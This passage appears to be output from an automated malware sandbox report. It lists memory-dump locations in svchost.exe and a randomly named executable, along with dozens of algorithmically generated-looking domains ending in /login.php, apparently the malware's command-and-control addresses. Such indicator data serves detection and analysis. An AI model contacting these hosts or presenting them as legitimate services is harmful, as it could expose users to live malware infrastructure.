00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023459644.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymytux.com/login.php
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymyvin.com/login.php
    Source: svchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymyxex.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960011672.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959786912.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lymyxir.com/login.php
    Source: svchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906646427.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903806913.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905612292.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154704130.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2157170272.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryfox.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2778000948.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C48000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000CE8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryfyd.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrygyn.com/http://volyzef.com/http://gacycus.com/http://gatynes.com/http://qegyrol.com/http:
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901802901.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901545057.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901290927.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrygyn.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryjej.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryjej.com/login.php
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2139976927.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrynad.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949257540.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2197387114.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953376276.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956064229.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953280624.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2191444525.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953269983.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949367459.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954568937.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188539510.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1952617861.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1950449319.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1951299782.0000000008AF8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrynux.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrysor.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryvaj.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875189147.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870726684.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyrywax.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyryxud.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687658381.0000000008A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982247626.0000000008B06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864734796.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008B64000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2339214455.000000000922D000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.00000000086FC000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2155078247.0000000008F50000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000D2D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyfyj.com/login.php
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A0C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyger.com/login.php
    Source: svchost.exe, 00000001.00000003.1944205960.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949257540.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1955984715.0000000008A16000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944285189.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946665798.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944474921.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946099887.0000000002F62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953259371.0000000008A14000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946540049.0000000008A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956479532.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954568937.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1952617861.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183449994.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944143633.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956146797.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1945959904.0000000008A1A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyjex.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882380826.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyjid.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysylun.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysymux.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysymux.com/http://vojykom.com/http://vonydik.com/H
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysymux.com/login.php
    Source: svchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158139409.0000000002F99000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906646427.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905496226.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2156817392.0000000002F92000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905754051.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903806913.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905612292.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2169739784.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158637089.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysynaj.com/login.php
